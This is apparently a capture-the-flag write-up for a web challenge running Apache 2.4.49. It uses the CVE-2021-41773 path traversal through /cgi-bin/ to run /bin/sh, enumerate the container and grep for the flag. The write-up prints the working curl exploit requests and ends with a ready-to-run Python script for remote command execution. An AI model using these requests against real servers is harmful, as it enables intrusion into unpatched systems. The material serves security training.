Художник
Художник
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: apache_path_traversal, cgi_rce, filesystem_enumeration
Summary
Task: a static-looking Apache 2.4.49 website exposed a vulnerable CGI setup consistent with CVE-2021-41773. Solution: use path traversal through /cgi-bin/ to execute /bin/sh, enumerate the filesystem, and grep for the hidden flag file.
Художник — Hackerlab
Description
Художник
English summary: The target was a minimal static-looking website on Apache 2.4.49. The goal was to turn the outdated Apache version into code execution, enumerate the container layout, and recover the flag.
Target: http://62.173.140.174:10009
Analysis
Reconnaissance
Initial probing showed an old Apache release:
bash read-only • copy allowedcurl -I http://62.173.140.174:10009
Relevant response header:
text read-only • copy allowedServer: Apache/2.4.49 (Unix)
The homepage was a simple site titled Minimalism with links to index.html, about.html, and contact.html. Common quick checks such as robots.txt, .git/HEAD, and .env returned 404, so there was no easy information disclosure path.
The key observation was the exact Apache version. Apache 2.4.49 is affected by CVE-2021-41773, where path traversal can be abused and, when CGI is enabled, may lead to command execution.
Vulnerability Identification
The first attempt was classic traversal to read files directly:
bash read-only • copy allowedcurl --path-as-is \ "http://62.173.140.174:10009/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
This returned 403 Forbidden, so straightforward file read was blocked.
However, the vulnerable Apache version was still exploitable through the CGI handler. Instead of reading a file directly, it was possible to traverse out of /cgi-bin/ and invoke /bin/sh.
Solution
Step 1: Confirm CGI RCE
The working request was:
bash read-only • copy allowedcurl --path-as-is -X POST \ "http://62.173.140.174:10009/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \ -d "echo Content-Type: text/plain; echo; id; ls /"
This returned command output and confirmed code execution as:
text read-only • copy alloweduid=1(daemon) gid=1(bin) groups=1(bin)
That was enough to prove the box was vulnerable to the CGI path traversal / RCE variant of the Apache 2.4.49 bug.
Step 2: Enumerate the Environment
After obtaining shell command execution, the next step was to inspect the Apache layout and identify useful directories.
Example commands:
bash read-only • copy allowedcurl --path-as-is -X POST \ "http://62.173.140.174:10009/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \ -d "echo Content-Type: text/plain; echo; env; ls -la /usr/local/apache2/htdocs; ls -la /usr/local/apache2/cgi-bin; cat /usr/local/apache2/conf/httpd.conf"
Important findings:
DOCUMENT_ROOT=/usr/local/apache2/htdocs- CGI directory:
/usr/local/apache2/cgi-bin - Web files present:
index.html,about.html,contact.html - Apache config used the default CGI mapping:
apache read-only • copy allowedScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
This explained why direct traversal failed with 403, while CGI execution through /cgi-bin/ still worked.
Step 3: Search for the Flag
With command execution available, the simplest way to locate the flag was a recursive search across the filesystem while skipping noisy pseudo-filesystems.
bash read-only • copy allowedcurl --path-as-is -X POST \ "http://62.173.140.174:10009/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \ -d "echo Content-Type: text/plain; echo; grep -R \"CODEBY{\" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=dev 2>/dev/null"
This located the flag here:
text read-only • copy allowed/tmp/my_reviews/.good_review.txt:13:От себя даю промокод на скидку 13% для его услуг: CODEBY{REDACTED}
Full Working Solve Script
python read-only • copy allowed#!/usr/bin/env python3 import http.client HOST = "62.173.140.174" PORT = 10009 PATH = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" def run(cmd: str) -> str: body = f"echo Content-Type: text/plain; echo; {cmd}" headers = {"Content-Type": "application/x-www-form-urlencoded"} conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("POST", PATH, body=body, headers=headers) resp = conn.getresponse() data = resp.read().decode("utf-8", errors="replace") conn.close() return data print("[+] id") print(run("id")) print("[+] environment and Apache layout") print(run("env; ls -la /usr/local/apache2/htdocs; ls -la /usr/local/apache2/cgi-bin")) print("[+] searching for flag") print(run('grep -R "CODEBY{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=dev 2>/dev/null'))